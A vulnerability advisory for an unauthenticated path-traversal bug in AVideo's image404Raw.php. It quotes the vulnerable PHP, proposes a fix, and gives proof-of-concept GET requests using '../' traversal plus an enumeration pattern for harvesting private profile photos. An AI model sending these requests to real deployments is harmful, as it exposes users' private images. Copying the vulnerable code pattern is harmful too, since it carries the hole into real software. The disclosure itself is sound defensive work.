CVE-2026-46337

Description

### Summary The endpoint requires **no authentication**. An unauthenticated remote attacker can read arbitrary image files anywhere on disk that the PHP user can open — including private user-profile photos that the application's normal serving wrappers gate behind ACLs, admin-uploaded thumbnails, encrypted-video poster frames, and image content under sibling-app directories reachable via `..` traversal. ### Details `view/img/image404Raw.php` reads the `image` GET parameter and joins it directly into a filesystem path served via `readfile()`. `view/img/image404Raw.php` (full file, current `master` @ `0dbadbcaaa1b415c7db078a72dc4b26d9fac0485`): ```php <?php // Fetch requested image URL $imageURL = !empty($_GET['image']) ? $_GET['image'] : $_SERVER["REQUEST_URI"]; $rootDir = dirname(__FILE__) . '/../../'; if ($imageURL == 'favicon.ico') { $imgLocalFile = "{$rootDir}/videos/{$imageURL}"; } else { $imgLocalFile = "{$rootDir}/{$imageURL}"; // ← attacker-controlled } if (file_exists($imgLocalFile)) { $imageInfo = getimagesize($imgLocalFile); // ← format gate if (empty($imageInfo)) { die('not image'); } // …extension → Content-Type mapping… header("HTTP/1.0 200 OK"); header('Content-Type: ' . $type); header('Content-Length: ' . filesize($imgLocalFile)); readfile($imgLocalFile); // ← exfil bytes exit; } ``` Issues: 1. **No authentication.** The file is reachable via direct GET; no `require` of `globals.php`, no session check, no API-key gate. 2. **No basename / realpath / prefix containment.** `$_GET['image']` is concatenated into `$imgLocalFile` with no `..` filtering, no `realpath()` resolution, no allowlist check against the intended `view/img/` directory. 3. **`getimagesize()` is a magic-bytes check, not a path constraint.** Any file on disk whose first bytes match a recognized image format (`FFD8FF` JPEG, `89504E47` PNG, `474946` GIF, `52494646…57454250` WebP) passes the gate — including images stored outside any ACL'd area of the application. 4. **`$_SERVER["REQUEST_URI"]` fallback** when `image` is empty widens the attack surface (path components in the URI itself land in `$imgLocalFile`). **Re-verified pre-submission** on 2026-05-13 against `view/img/image404Raw.php` blob SHA `c670b0faff4fbea1fd0508f179956975477d4340` — unsafe shape unchanged since first discovery on 2026-05-12. **Recommended fix** — three layered checks, any one alone is insufficient: ```php // view/img/image404Raw.php — proposed fix <?php $imageURL = !empty($_GET['image']) ? $_GET['image'] : ''; if ($imageURL === '') { http_response_code(400); exit('bad request'); } // 1. Reject any path-traversal segment outright. if (strpos($imageURL, '..') !== false || strpos($imageURL, "\0") !== false || strpos($imageURL, '://') !== false) { http_response_code(400); exit('bad request'); } // 2. Resolve to a real path and verify prefix containment under the // intended image directory. $rootDir = realpath(dirname(__FILE__) . '/../../'); $imgLocalFile = realpath($rootDir . '/' . $imageURL); if ($imgLocalFile === false || (strpos($imgLocalFile, $rootDir . '/videos/') !== 0 && strpos($imgLocalFile, $rootDir . '/view/img/') !== 0)) { http_response_code(404); exit('not found'); } // 3. Existing getimagesize() check stays as defense-in-depth. if (!is_file($imgLocalFile)) { http_response_code(404); exit('not found'); } $imageInfo = @getimagesize($imgLocalFile); if (empty($imageInfo)) { http_response_code(404); exit('not image'); } // …rest of the original Content-Type + readfile() flow unchanged… ``` Drop the `$_SERVER["REQUEST_URI"]` fallback entirely; if no `image` parameter is provided, return 400. ### PoC Discovery probe — any HTTP client, no authentication, no cookies: ```http GET /view/img/image404Raw.php?image=../videos/userPhoto/photo1.jpg HTTP/1.1 Host: avideo.example.com ``` If `videos/userPhoto/photo1.jpg` exists on the server, the response is the raw image bytes (HTTP 200, `Content-Type: image/jpeg`). The application's normal user-photo serving wrapper (which can gate by session / channel ownership) is bypassed entirely. Cross-directory probe — read images outside the AVideo install root: ```http GET /view/img/image404Raw.php?image=../../../var/www/other-app/uploads/users/admin.jpg HTTP/1.1 Host: avideo.example.com ``` If the PHP user has read access to a sibling app's image directory, those files are exfiltrable too. Enumeration — iterate over predictable numeric IDs: ``` GET /view/img/image404Raw.php?image=../videos/userPhoto/photo1.jpg GET /view/img/image404Raw.php?image=../videos/userPhoto/photo2.jpg GET /view/img/image404Raw.php?image=../videos/userPhoto/photo3.jpg ... ``` …to harvest all profile images regardless of the application's intended privacy controls. ### Impact **Path traversal → arbitrary image read (CWE-22 + CWE-284).** Affects any AVideo deployment running master through commit `0dbadbca` and likely every release on the supported branches. The attacker: 1. **Bypasses the application's image-content ACLs.** Profile photos under `videos/userPhoto/` and admin-uploaded private thumbnails that AVideo's normal image-serving wrappers gate by session / channel ownership become readable to any anonymous internet user. 2. **Reads images stored outside the AVideo install root.** On shared-hosting / multi-tenant deployments, `..` traversal lets the attacker page into sibling-app upload directories — anywhere the PHP user has read access on disk and the target file's first bytes form a valid image header. 3. **Enables enumeration at scale.** Numeric ID schemes (`photo1.jpg`, `photo2.jpg`, …) and predictable filenames let an attacker harvest every private image on a deployment without detection (each request looks like a single 200-image-OK to the web log). Because the read primitive is restricted to image-magic-bytes files, there is no source-code or credential exfiltration via this primitive alone — but the **privacy / GDPR exposure** is substantial on any deployment that hosts user-uploaded photos. CVSS 5.3 (Medium) reflects the limited but real confidentiality impact; many operators will rate this higher because the leaked content is user-private by intent. This is **not** a silent-fix disclosure — the bug is still present on current `master` at submission time; the maintainer is being notified of a previously-unknown issue.